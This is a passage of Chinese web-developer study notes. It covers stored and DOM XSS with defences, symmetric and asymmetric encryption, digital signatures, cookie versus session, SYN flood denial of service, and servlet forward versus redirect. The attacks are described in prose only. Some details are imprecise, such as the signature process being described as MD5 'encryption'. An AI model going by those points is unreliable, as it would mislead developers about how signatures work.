博客网站,每个用户都可以在该博客网站上发表博客。如果用户写入一些js代码,不加处理会保存在服务器的数据库中;其他用户访问该博客,用户浏览器就会执行该script代码,本地的cookie就会发送到http://www.fordldmc.com 这个网址上,造成cookie泄露,攻击者就会拿到cookie冒充用户身份,登录账号;
预防
XSS形成原因:一个是攻击者提交恶意代码,另一个是浏览器执行恶意代码。
XSS | 解决方法 |
---|---|
存储型 和 反射型 | 纯前端渲染: 浏览器先加载一个静态 HTML(HTML 中不包含任何跟业务相关的数据) 浏览器执行 HTML 中的 JavaScript JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上 转义HTML : 拼接HTML是必要的话,就需要采用合适的转义库,对HTML模板各处插入点进行充分的转义 对于 HTML 转义通常只有一个规则,就是把 & < > " ’ / 这几个字符转义掉,确实能起到一定的 XSS 防护作用 |
DOM-based型 | 主要是javascript代码不严谨,把不可信的数据当做代码执行 把不可信的数据当做代码执行了。在使用.innerHTML,.outerHTML,document.write()时要特别小心, 不要把不可信的数据当做HTML插入到页面上,而应尽量使用.textContent,.setAttribute。 |
区别 | 对称加密 | 非对称加密 |
---|---|---|
概念 | 加密和解密的秘钥使用的是同一个 密码标准是数据加密标准(DES)和国际数据加密算法(IDEA) |
非对称加密算法需要两个秘钥:公开秘钥(publickey)和非公开秘钥(privatekey) |
加密解密过程不同 | 加密和解密使用同一个秘钥 加密过程相当于用原文+秘钥可以传输出密文 解密过程用密文-秘钥可以推导出原文 |
采用两个秘钥进行加密和解密 使用公钥进行加密 使用私钥进行解密 |
加密解密速度不同 | 速度较快,适合数据比较长时使用 | 加密和解密花费时间较长、速度较慢,适合数据量少的情况 |
传输的安全性不同 | 安全性较低 传输过程中无法确保秘钥被安全传递, 密文和秘钥在传输过程中如果都被第三方截获,则传输的信息就被截获 |
安全性较高 私钥是基于不同的算法生成不同的随机数 私钥通过一定的加密算法推出公钥 私钥到公钥的推导过程是单向的,公钥无法推出私钥 |
优点 | 算法公开、计算量小、加密速度快、加密效率高 | 安全 |
缺点 | 数据收发双方需要商定秘钥,且都得保存好秘钥,一方泄露,加密信息就不安全了 每对用户每次使用对称加密算法,都需要使用其他用户不知道的唯一秘钥,这就导致收发双方拥有大量的秘钥数量 |
速度较慢 |
算法 | DES、3DES、Blowfish、IDEA、RC4、RC5、RC6、AES | RSA、ECC、Diffie-Hellman、EI Gamal、DSA |
理解:
数字签名 = 公钥数字签名,只有信息的发送者才能产生、别人无法伪造的一段数字串,该数字串同时也是对信息的发送者发送信息真实性的一个有效证明。
作用:
避免数据在传输过程中被替换;
具体实现:
使用公钥加密领域的技术来实现;
发送端做数字签名,把数据的摘要信息进行加密(MD5加密),将签名和数据一起发送,然后接收端把数据摘要信息进行MD5加密,如果一样,说明信息没有被篡改;
数字证书 = CA(数字认证服务)机构发行的一种电子档案,是一串能够表明网络用户身份信息的数字,能够在计算机网络上验证网络用户身份。
区别:
区别 | Cookie | Session |
---|---|---|
数据存放位置不同 | cookie数据存放在客户端的浏览器上 | session数据存放在服务器上 |
安全程度不同 | 别人可以分析存放在本地的cookie并进行cookie欺骗 | 更安全 |
性能使用程度不同 | – | 在一定时间内保存在服务器上,当访问增多时,会占用服务器的性能 考虑到减轻服务器性能方面,应该使用cookie |
数据存储大小不同 | 单个cookie保存的数据不超过4K,浏览器一般限制一个站点最多保存20cookie | session存储于服务器,没有限制 |
作用 | 通过检查客户身上的“通行证”来确定客户身份 用于告知服务器两个请求是否来自同一个浏览器(如保持用户的登录状态) |
通过检查服务器上的“客户明细表”来确认客户身份 |
cookie
session
概念:
又被称为SYN洪水攻击,是拒绝服务攻击的一种。
原理:
攻击者利用TCP协议的三次握手机制,不间断的发送一系列SYN请求到目标系统,消耗服务器系统的资源,从而导致目标服务器不响应合法的请求。
发生在TCP协议三次握手中的第一次握手;
正常网络连接请求的步骤:
域名解析;
TCP三次握手;
客户端发送请求;
服务端响应请求;
客户端解析并且渲染页面;
一次请求结束;
具体实施:利用TCP协议的三次握手机制;
攻击者采用虚拟ip地址(服务器不能收到最终的确认包),向服务器发送大量的SYN数据包;
服务器会响应每一个SYN数据包,发送ACK确认包,等待客户端的最终响应;
由于采用虚拟ip地址,则服务器不会收到最终的ACK确认包,则会一直重试(再次发送SYN+ACK数据包)并等待一段时间后丢弃这个连接;
分析:
等待的时间长度是SYN Timeout,等待的时间是分钟的数量级(30秒-2分钟);
当多个虚拟用户发送大批量的SYN数据包时,服务器忙于响应虚假访问请求,无暇顾及真实客户请求;
当服务器断开连接但连接另一端的客户端没有断开连接时,连接被认为是半开的。这种类型的DDos攻击中,目标服务器不断离开打开的连接,等待每个连接超时,然后端口再次可用;该攻击也可以叫做“半开攻击”。
forward 和 redirect 是servlet的两种主要的跳转方式。
区别
区别 | forward | redirect |
---|---|---|
概念 | 转发 | 重定向 |
地址栏显示 | 是服务器内部的重定向, 服务器直接访问目标地址的URL网址,把里面的东西取出来; 客户端并不知道,客户端浏览器的网址不会发生变化 |
服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求哪个地址, 地址栏显示的是新地址 |
数据共享 | 可以实现数据共享 整个定向过程中使用的是同一个request 会将request的信息带到被重定向的jsp或servlet中 |
不能实现数据共享 |
运用场景 | 用于用户登录,根据角色转发到响应的模块 | 用于用户注销登录时,返回主页面或跳转其他网站 |
效率 | 较高 | 较低 |
本质 | 是服务器的行为 客户端发送http请求→web服务器接收此请求→调用内部方法在容器内完成请求处理和转发工作→将目标资源发送给客户端 转发的路径必须是同一个web容器下的url |
是客户端的行为 客户端发送http请求→服务端发送302状态码以及对应新的location给客户端浏览器→客户端发现是302响应,则重新发送http请求,请求url是新的location地址→服务端再根据此请求寻找资源并返回给客户端 |
请求数量 | 只有一次请求 | 有两次请求 |
servlet
servlet = Server Applet,称为小服务程序或服务连接器,用Java编写的服务器端程序;
具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。